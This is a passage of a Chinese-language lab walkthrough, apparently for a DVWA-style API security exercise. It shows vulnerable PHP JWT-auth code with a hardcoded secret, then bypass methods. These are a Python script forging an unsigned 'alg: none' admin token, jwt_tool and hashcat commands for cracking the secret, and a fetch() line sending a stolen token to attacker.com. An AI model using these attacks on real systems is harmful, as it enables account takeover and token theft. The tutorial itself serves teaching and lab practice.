class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-Type: application/json&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：JWT Token认证 ★★★</span></span><br><span class="line"><span class="comment">// 从Authorization头获取Token</span></span><br><span class="line"><span class="comment">// Bearer token格式</span></span><br><span class="line"><span class="variable">$authHeader</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_AUTHORIZATION&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/Bearer\s+(.*)$/i&#x27;</span>, <span class="variable">$authHeader</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">401</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Missing or invalid authorization header&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$token</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ JWT验证 ★★★</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">verify_jwt</span>(<span class="params"><span class="variable">$token</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// JWT格式：header.payload.signature</span></span><br><span class="line"></span><br><span class="line">    <span class="variable">$parts</span> = <span class="title function_ invoke__">explode</span>(<span class="string">&#x27;.&#x27;</span>, <span class="variable">$token</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">count</span>(<span class="variable">$parts</span>) !== <span class="number">3</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">list</span>(<span class="variable">$header_b64</span>, <span class="variable">$payload_b64</span>, <span class="variable">$signature_b64</span>) = <span class="variable">$parts</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：密钥硬编码 ★★★</span></span><br><span class="line">    <span class="variable">$secret</span> = <span class="string">&#x27;my_jwt_secret_key&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 验证签名</span></span><br><span class="line">    <span class="variable">$signature_check</span> = <span class="title function_ invoke__">hash_hmac</span>(</span><br><span class="line">        <span class="string">&#x27;sha256&#x27;</span>,</span><br><span class="line">        <span class="variable">$header_b64</span> . <span class="string">&#x27;.&#x27;</span> . <span class="variable">$payload_b64</span>,</span><br><span class="line">        <span class="variable">$secret</span>,</span><br><span class="line">        <span class="literal">true</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="variable">$signature_check_b64</span> = <span class="title function_ invoke__">rtrim</span>(<span class="title function_ invoke__">strtr</span>(<span class="title function_ invoke__">base64_encode</span>(<span class="variable">$signature_check</span>), <span class="string">&#x27;+/&#x27;</span>, <span class="string">&#x27;-_&#x27;</span>), <span class="string">&#x27;=&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$signature_check_b64</span> !== <span class="variable">$signature_b64</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 解码payload</span></span><br><span class="line">    <span class="variable">$payload</span> = <span class="title function_ invoke__">json_decode</span>(<span class="title function_ invoke__">base64_decode</span>(<span class="title function_ invoke__">strtr</span>(<span class="variable">$payload_b64</span>, <span class="string">&#x27;-_&#x27;</span>, <span class="string">&#x27;+/&#x27;</span>)), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进：检查过期时间 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$payload</span>[<span class="string">&#x27;exp&#x27;</span>]) &amp;&amp; <span class="variable">$payload</span>[<span class="string">&#x27;exp&#x27;</span>] &lt; <span class="title function_ invoke__">time</span>()) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>; <span class="comment">// Token已过期</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$payload</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$payload</span> = <span class="title function_ invoke__">verify_jwt</span>(<span class="variable">$token</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable">$payload</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">401</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Invalid or expired token&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 从payload获取用户信息</span></span><br><span class="line"><span class="variable">$currentUserId</span> = <span class="variable">$payload</span>[<span class="string">&#x27;user_id&#x27;</span>];</span><br><span class="line"><span class="variable">$currentUserRole</span> = <span class="variable">$payload</span>[<span class="string">&#x27;role&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="variable">$method</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_METHOD&#x27;</span>];</span><br><span class="line"><span class="variable">$path</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;PATH_INFO&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// GET /api/users/&#123;id&#125;</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$method</span> == <span class="string">&#x27;GET&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进：权限检查 ★★★</span></span><br><span class="line">    <span class="comment">// 普通用户只能查看自己</span></span><br><span class="line">    <span class="comment">// 管理员可以查看所有用户</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$currentUserRole</span> !== <span class="string">&#x27;admin&#x27;</span> &amp;&amp; <span class="variable">$currentUserId</span> != <span class="variable">$userId</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">403</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Forbidden: You can only view your own data&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 查询用户</span></span><br><span class="line">    <span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT user_id, user, first_name, last_name, email, role FROM users WHERE user_id = :id&#x27;</span>);</span><br><span class="line">    <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="string">&#x27;:id&#x27;</span>, <span class="variable">$userId</span>, PDO::<span class="variable constant_">PARAM_INT</span>);</span><br><span class="line">    <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">    <span class="variable">$user</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">fetch</span>(PDO::<span class="variable constant_">FETCH_ASSOC</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$user</span>) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;data&#x27;</span> =&gt; <span class="variable">$user</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;User not found&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// PUT /api/users/&#123;id&#125;</span></span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$method</span> == <span class="string">&#x27;PUT&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line">    <span class="variable">$input</span> = <span class="title function_ invoke__">json_decode</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;php://input&#x27;</span>), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 权限检查 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$currentUserRole</span> !== <span class="string">&#x27;admin&#x27;</span> &amp;&amp; <span class="variable">$currentUserId</span> != <span class="variable">$userId</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">403</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Forbidden: You can only update your own data&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 字段白名单（根据角色） ★★★</span></span><br><span class="line">    <span class="variable">$allowedFields</span> = [<span class="string">&#x27;first_name&#x27;</span>, <span class="string">&#x27;last_name&#x27;</span>, <span class="string">&#x27;email&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：管理员可以修改role ★★★</span></span><br><span class="line">    <span class="comment">// 但没有检查是否在修改自己的role</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$currentUserRole</span> === <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">        <span class="variable">$allowedFields</span>[] = <span class="string">&#x27;role&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$updates</span> = [];</span><br><span class="line">    <span class="variable">$params</span> = [<span class="string">&#x27;:id&#x27;</span> =&gt; <span class="variable">$userId</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$input</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">in_array</span>(<span class="variable">$key</span>, <span class="variable">$allowedFields</span>)) &#123;</span><br><span class="line">            <span class="variable">$updates</span>[] = <span class="string">&quot;<span class="subst">$key</span> = :<span class="subst">$key</span>&quot;</span>;</span><br><span class="line">            <span class="variable">$params</span>[<span class="string">&quot;:<span class="subst">$key</span>&quot;</span>] = <span class="variable">$value</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$updates</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;No valid fields to update&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;UPDATE users SET &quot;</span> . <span class="title function_ invoke__">implode</span>(<span class="string">&#x27;, &#x27;</span>, <span class="variable">$updates</span>) . <span class="string">&quot; WHERE user_id = :id&quot;</span>;</span><br><span class="line">    <span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>(<span class="variable">$params</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;User updated&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Failed to update user&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">404</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Endpoint not found&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>JWT Token认证</strong> - 基于Token的认证</li><li><strong>Token过期</strong> - 限制Token有效期</li><li><strong>角色授权</strong> - 根据角色限制访问</li><li><strong>资源所有权</strong> - 只能访问自己的数据</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><ol><li><strong>JWT密钥硬编码</strong> - 可能被获取</li><li><strong>算法混淆攻击</strong> - none算法绕过</li><li><strong>权限检查逻辑漏洞</strong> - 管理员可以修改自己为超级管理员</li></ol><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：JWT算法混淆攻击"><a href="#方法1：JWT算法混淆攻击" class="headerlink" title="方法1：JWT算法混淆攻击"></a>方法1：JWT算法混淆攻击</h4><p><strong>None算法攻击：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建header（指定算法为none）</span></span><br><span class="line">header = &#123;</span><br><span class="line">    <span class="string">&quot;alg&quot;</span>: <span class="string">&quot;none&quot;</span>,</span><br><span class="line">    <span class="string">&quot;typ&quot;</span>: <span class="string">&quot;JWT&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建payload</span></span><br><span class="line">payload = &#123;</span><br><span class="line">    <span class="string">&quot;user_id&quot;</span>: <span class="number">1</span>,</span><br><span class="line">    <span class="string">&quot;role&quot;</span>: <span class="string">&quot;admin&quot;</span>,</span><br><span class="line">    <span class="string">&quot;exp&quot;</span>: <span class="number">9999999999</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># Base64编码</span></span><br><span class="line">header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip(<span class="string">&#x27;=&#x27;</span>)</span><br><span class="line">payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip(<span class="string">&#x27;=&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 构造Token（无签名）</span></span><br><span class="line">fake_token = <span class="string">f&quot;<span class="subst">&#123;header_b64&#125;</span>.<span class="subst">&#123;payload_b64&#125;</span>.&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Fake token: <span class="subst">&#123;fake_token&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用这个Token访问API</span></span><br></pre></td></tr></table></figure><h4 id="方法2：暴力破解JWT密钥"><a href="#方法2：暴力破解JWT密钥" class="headerlink" title="方法2：暴力破解JWT密钥"></a>方法2：暴力破解JWT密钥</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用jwt_tool</span></span><br><span class="line">python3 jwt_tool.py &lt;JWT_TOKEN&gt; -C -d /usr/share/wordlists/rockyou.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或使用hashcat</span></span><br><span class="line">hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt</span><br></pre></td></tr></table></figure><h4 id="方法3：Token劫持"><a href="#方法3：Token劫持" class="headerlink" title="方法3：Token劫持"></a>方法3：Token劫持</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 如果Token存储在localStorage</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">localStorage</span>.<span class="title function_">getItem</span>(<span class="string">&#x27;jwt_token&#x27;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 通过XSS窃取Token</span></span><br><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;http://attacker.com/steal?token=&#x27;</span> + <span class="variable language_">localStorage</span>.<span class="title function_">getItem</span>(<span class="string">&#x27;jwt_token&#x27;</span>));</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完善的API安全，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-Type: application/json&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Impossible: 完善的API安全 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护1：OAuth 2.0认证 ★★★</span></span><br><span class="line"><span class="comment">// 使用标准的OAuth 2.0协议</span></span><br><span class="line"><span class="comment">// 从Authorization头获取Access Token</span></span><br><span class="line"><span class="variable">$authHeader</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_AUTHORIZATION&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/Bearer\s+(.*)$/i&#x27;</span>, <span 